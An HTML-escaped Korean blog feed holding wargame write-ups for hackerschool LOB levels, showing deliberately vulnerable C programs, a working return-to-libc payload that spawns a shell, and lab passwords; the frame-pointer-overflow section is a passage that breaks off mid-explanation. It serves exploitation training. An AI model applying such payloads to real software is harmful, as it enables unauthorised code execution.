&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;528&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q9TXT/btsEP6fmbQ5/RTyKPHYZMm01B8SDhsux70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q9TXT/btsEP6fmbQ5/RTyKPHYZMm01B8SDhsux70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q9TXT/btsEP6fmbQ5/RTyKPHYZMm01B8SDhsux70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq9TXT%2FbtsEP6fmbQ5%2FRTyKPHYZMm01B8SDhsux70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;528&quot; height=&quot;73&quot; data-origin-width=&quot;528&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707819207397&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc &amp;lt; 2){
		printf(&quot;argv error\n&quot;);
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf(&quot;stack betrayed you!!\n&quot;);
		exit(0);
	}

	strcpy(buffer, argv[1]);
	printf(&quot;%s\n&quot;, buffer);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1.&amp;nbsp;커맨드라인&amp;nbsp;인자가&amp;nbsp;있어야한다.&lt;br /&gt;2. 첫 번째 커맨드라인 인자의 48번째 값이 0xbf로 시작하면 안되므로 RET 부분에 덮어쓸 주소가 스택의 주소이면 안된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제는 조건이 엄청 간단하지만, 이전 문제들의 대다수와는 다르게 RET 부분에 덮어쓸 주소가 스택의 주소이면 안된다는 조건이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 문제 이름과 힌트에서도 RTL이라고 알려줬기 때문에 RTL 기법을 이용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;RTL 기법은 Return to Lib의 약자로, 공유 라이브러리에 있는 주소로 반환시키는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이미 LOB level2에서 사용했던 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://sean.tistory.com/480&quot;&gt;https://sean.tistory.com/480&lt;/a&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;dummy 값 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;401&quot; data-origin-height=&quot;127&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZBE1T/btsEPLoTx7x/iKmoGdK9ZHbHYzUT7VKOKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZBE1T/btsEPLoTx7x/iKmoGdK9ZHbHYzUT7VKOKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZBE1T/btsEPLoTx7x/iKmoGdK9ZHbHYzUT7VKOKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZBE1T%2FbtsEPLoTx7x%2FiKmoGdK9ZHbHYzUT7VKOKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;401&quot; height=&quot;127&quot; data-origin-width=&quot;401&quot; data-origin-height=&quot;127&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;지역 변수의 공간으로 44byte를 할당하는 것으로 보아 dummy 값은 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공격&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ecHNSn/btsEKC0p786/8qw8MHKLbaNylHD6UYztK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ecHNSn/btsEKC0p786/8qw8MHKLbaNylHD6UYztK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ecHNSn/btsEKC0p786/8qw8MHKLbaNylHD6UYztK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FecHNSn%2FbtsEKC0p786%2F8qw8MHKLbaNylHD6UYztK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;607&quot; height=&quot;431&quot; data-origin-width=&quot;607&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707820289366&quot; class=&quot;cpp&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;cpp&quot;&gt;&lt;code&gt;cp bugbear bugbear2

gdb -q bugbear2

b * main

r aaaa

shell ps

shell cat /proc/[process id]/maps&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저 bugbear 프로그램에서 어떤 버전의 libc 공유 라이브러리를 사용하는지 확인하지 위해&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;bugbear 파일을 bugbear2 파일로 복사한 후 gdb로 연 뒤 bp를 걸고 인자를 대충 적어서 실행한 후 메모리맵을 보면 libc-2.1.3.so를 사용 중인 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;107&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cusmHC/btsEKD59lWk/A5HCBHsh2YxsLskskvmvI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cusmHC/btsEKD59lWk/A5HCBHsh2YxsLskskvmvI0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cusmHC/btsEKD59lWk/A5HCBHsh2YxsLskskvmvI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcusmHC%2FbtsEKD59lWk%2FA5HCBHsh2YxsLskskvmvI0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;498&quot; height=&quot;107&quot; data-origin-width=&quot;498&quot; data-origin-height=&quot;107&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ldd 명령을 이용해 두 번 실행했을 때 주소가 안 바뀌는 것을 통해 ASLR 기법이 안 걸려있다는 것을 확인하고, base 주소(0x40018000)도 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;197&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZbsKM/btsEQa9SMcI/Jb0K4fXkPVWQa42Tkk0utK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZbsKM/btsEQa9SMcI/Jb0K4fXkPVWQa42Tkk0utK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZbsKM/btsEQa9SMcI/Jb0K4fXkPVWQa42Tkk0utK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZbsKM%2FbtsEQa9SMcI%2FJb0K4fXkPVWQa42Tkk0utK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;651&quot; height=&quot;197&quot; data-origin-width=&quot;651&quot; data-origin-height=&quot;197&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707820517027&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nm /lib/libc-2.1.3.so | grep system

strings -tx /lib/libc-2.1.3.so | grep /bin/sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;nm 명령과 strings 명령을 통해 공유 라이브러리 내에 있는 system() 함수의 offset 주소와 &quot;/bin/sh&quot; 문자열의 offset 주소를 구한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;구한 offset 주소는 이전에 위에서 알아낸 base 주소 0x40018000에 더하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그러면 system 함수의 주소는 0x40058ae0이고, &quot;/bin/sh&quot; 문자열의 주소는 0x400fbff9이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eylPKZ/btsELpUfRHh/gYLJqZ340EQ8qkqcUO3GWK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eylPKZ/btsELpUfRHh/gYLJqZ340EQ8qkqcUO3GWK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eylPKZ/btsELpUfRHh/gYLJqZ340EQ8qkqcUO3GWK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeylPKZ%2FbtsELpUfRHh%2FgYLJqZ340EQ8qkqcUO3GWK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1005&quot; height=&quot;125&quot; data-origin-width=&quot;1005&quot; data-origin-height=&quot;125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707820714615&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;./bugbear `python -c 'print &quot;a&quot; * 44 + &quot;\xe0\x8a\x05\x40&quot; + &quot;b&quot; * 4 + &quot;\xf9\xbf\x0f\x40&quot;'`&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에서 알아낸 정보들을 바탕으로 payload를 구성해 bugbear에 인자로 주어 실행하면 bugbear의 password인 new divide를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;system() 함수를 호출하는 것이 아닌 RET 부분에 sysem() 함수의 주소를 덮어씌워서 반환시키는 것이므로 스택의 구조는 &quot;system() 함수 주소 + system() 함수의 RET 부분 + 인자&quot; 형태로 SFP 부분은 없어도 된다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;그리고 system() 함수를 호출해 셸을 얻고 나서는 공격이 끝나므로 system() 함수의 RET 부분에는 4byte 아무런 값이나 들어가도 된다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/491</guid>
      <comments>https://sean.tistory.com/491#entry491comment</comments>
      <pubDate>Tue, 13 Feb 2024 19:41:41 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL12 (golem -&amp;gt; darkknight) : sfp(FPO, Frame Pointer Overflow)</title>
      <link>https://sean.tistory.com/490</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : golem&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;password : cup of coffee&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/s6ufb/btsEHn9vKHv/qwprJtJWMdiPEJyGYImakk/lob12.drawio?attach=1&amp;amp;knm=tfile.drawio&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;lob12.drawio&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.06MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;553&quot; data-origin-height=&quot;72&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buCGWf/btsEHn9oayB/Edksjl0nak8l4CkKsKs1L0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buCGWf/btsEHn9oayB/Edksjl0nak8l4CkKsKs1L0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buCGWf/btsEHn9oayB/Edksjl0nak8l4CkKsKs1L0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuCGWf%2FbtsEHn9oayB%2FEdksjl0nak8l4CkKsKs1L0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;553&quot; height=&quot;72&quot; data-origin-width=&quot;553&quot; data-origin-height=&quot;72&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1707608333070&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkknight
        - FPO
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

void problem_child(char *src)
{
	char buffer[40];
	strncpy(buffer, src, 41);
	printf(&quot;%s\n&quot;, buffer);
}

main(int argc, char *argv[])
{
	if(argc&amp;lt;2){
		printf(&quot;argv error\n&quot;);
		exit(0);
	}

	problem_child(argv[1]);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1. 커맨드라인 인자가 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;2. problem_child() 함수를 호출하는데, 커맨드라인 인자를 인자로 넘긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;3. problem_child() 함수 내에 buffer[40]이라는 변수를 선언하고, 커맨드라인 인자의 41byte만 buffer[40]에 복사한 뒤 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제는 strcpy() 함수가 아닌 strncpy() 함수로 딱 지정된 41byte 크기만큼만 복사하기 때문에 RET 부분을 덮어써 실행 흐름을 바꿀 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제에서 buffer[40] 공간에 41byte만큼의 데이터를 복사하는데 이는 SFP 부분의 1byte를 변조할 수 있기 때문에 SFP 부분의 1byte를 변조하여 실행 흐름을 바꾸는 FPO 기법을 이용해서 풀어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;FPO(Frame Pointer Overflow)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;FPO&amp;nbsp;기법을&amp;nbsp;사용하기&amp;nbsp;위해서는&amp;nbsp;2가지&amp;nbsp;조건이&amp;nbsp;필요하다.&lt;/p&gt;
&lt;pre id=&quot;code_1707608766185&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. 서브 함수가 존재하고 해당 서브 함수를 호출해야 한다.
2. buffer overflow로 서브 함수 내의 SFP의 최소 하위 1byte를 덮을 수 있어야 한다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위의 2가지 조건이 필요한 이유는 leave와 ret 어셈블리 명령어 그리고 함수 에필로그 때문인데&lt;br /&gt;&lt;br /&gt;FPO 기법은 엄밀히 따지면 함수 에필로그 과정의 leave 명령과 ret 명령의 동작 원리를 이용해 실행 흐름을 바꾸는 기법인데, 이때 두 번의 함수 에필로그 과정이 필요하기 때문에 서브 함수가 필요한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;먼저&amp;nbsp;FPO&amp;nbsp;기법을&amp;nbsp;이해하기&amp;nbsp;전에&amp;nbsp;함수의&amp;nbsp;스택,&amp;nbsp;함수&amp;nbsp;에필로그,&amp;nbsp;ebp,&amp;nbsp;sfp,&amp;nbsp;esp,&amp;nbsp;eip&amp;nbsp;등&amp;nbsp;각&amp;nbsp;역할들에&amp;nbsp;대해&amp;nbsp;자세히&amp;nbsp;알고&amp;nbsp;있어야&amp;nbsp;한다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단히 설명하자면&lt;/p&gt;
&lt;pre id=&quot;code_1707609008094&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;함수의 스택 : 스택은 높은 주소에서 낮은 주소로 자라고, 서브 함수를 호출하면 함수에 넘겨지는 인자들을 스택에 쌓은 뒤, call 함수 내부에서 자동으로 스택에 RET와 SFP 부분을 만들어준 후 지역 변수들이 쌓인다.
[sub 함수의 스택]
- local 변수
- SFP
- RET
- 함수 인자들
[main 함수의 스택]
- local 변수
- SFP
- RET
- argc
- argv
- env


함수 에필로그 : 함수가 종료하면서 leave 명령과 ret 명령을 이용해 현재 함수를 호출했던 이전 함수의 스택 프레임으로 복귀하는 과정이다.

sfp : 이전 함수의 ebp 값을 저장하는 공간이다.

ebp : 현재 스택 프레임의 base 주소를 담는다.

esp : 현재 스택의 최상단 주소값을 저장하는데, 스택은 높은 주소에서 낮은 주소로 자라기 때문에 최상단 주소값은 큰 값이 아닌 작은 값이다.

eip : 현재 실행 중인 명령이 끝나면 실행될 명령어의 주소를 담고 있다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1707609034042&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;[leave]
- mov esp, ebp
- pop ebp

[ret]
- pop eip
- jmp eip&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;FPO&amp;nbsp;기법은&amp;nbsp;엄밀히&amp;nbsp;따져&amp;nbsp;함수&amp;nbsp;에필로그&amp;nbsp;과정의&amp;nbsp;leave&amp;nbsp;명령과&amp;nbsp;ret&amp;nbsp;명령의&amp;nbsp;동작&amp;nbsp;원리를&amp;nbsp;이용해&amp;nbsp;실행&amp;nbsp;흐름을&amp;nbsp;바꾸는&amp;nbsp;기법이라고&amp;nbsp;했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;leave 명령과 ret 명령의 동작 원리를 위와 같은데, leave는 mov esp, ebp명령과 pop ebp 명령을 수행하는 것과 같고, ret는 pop eip 명령과 jmp eip명령을 수행하는 것과 같다.&lt;br /&gt;(동작&amp;nbsp;원리가&amp;nbsp;비슷하여&amp;nbsp;위와&amp;nbsp;같이&amp;nbsp;풀어서&amp;nbsp;표현한&amp;nbsp;것이지&amp;nbsp;실제로&amp;nbsp;저&amp;nbsp;명령어들을&amp;nbsp;사용한다는&amp;nbsp;것은&amp;nbsp;아니다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;여기서&amp;nbsp;추가로&amp;nbsp;pop&amp;nbsp;명령은&amp;nbsp;현재&amp;nbsp;esp가&amp;nbsp;가리키는&amp;nbsp;주소에서&amp;nbsp;4byte만큼의&amp;nbsp;값을&amp;nbsp;pop&amp;nbsp;명령의&amp;nbsp;인자에&amp;nbsp;넣는다.&lt;br /&gt;(위의 코드를 예시로 들면 leave 명령에서는 esp가 가리키는 주소에서 4byte만큼의 값을 ebp 레지스터에 담는 것이고, ret명령에서는 eip 레지스터에 담는 것이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;463&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dV3ndp/btsEEKSsIk7/XqldnsDKskFWoHV1Fi1lR1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dV3ndp/btsEEKSsIk7/XqldnsDKskFWoHV1Fi1lR1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dV3ndp/btsEEKSsIk7/XqldnsDKskFWoHV1Fi1lR1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdV3ndp%2FbtsEEKSsIk7%2FXqldnsDKskFWoHV1Fi1lR1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;433&quot; height=&quot;463&quot; data-origin-width=&quot;433&quot; data-origin-height=&quot;463&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;본격적으로&amp;nbsp;FPO&amp;nbsp;기법을&amp;nbsp;이해하기&amp;nbsp;위해&amp;nbsp;main&amp;nbsp;함수와&amp;nbsp;sub라는&amp;nbsp;함수가&amp;nbsp;있다고&amp;nbsp;했을&amp;nbsp;때&amp;nbsp;main&amp;nbsp;함수에서&amp;nbsp;sub&amp;nbsp;함수를&amp;nbsp;호출하면&amp;nbsp;스택은&amp;nbsp;위와&amp;nbsp;같이&amp;nbsp;구성될&amp;nbsp;것이다.&lt;br /&gt;&lt;br /&gt;위의&amp;nbsp;스택&amp;nbsp;구성을&amp;nbsp;보면&amp;nbsp;main&amp;nbsp;함수의&amp;nbsp;ebp가&amp;nbsp;sub&amp;nbsp;함수의&amp;nbsp;SFP에&amp;nbsp;저장되게&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(0xbffffae0은 main 함수의 ebp 위치이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
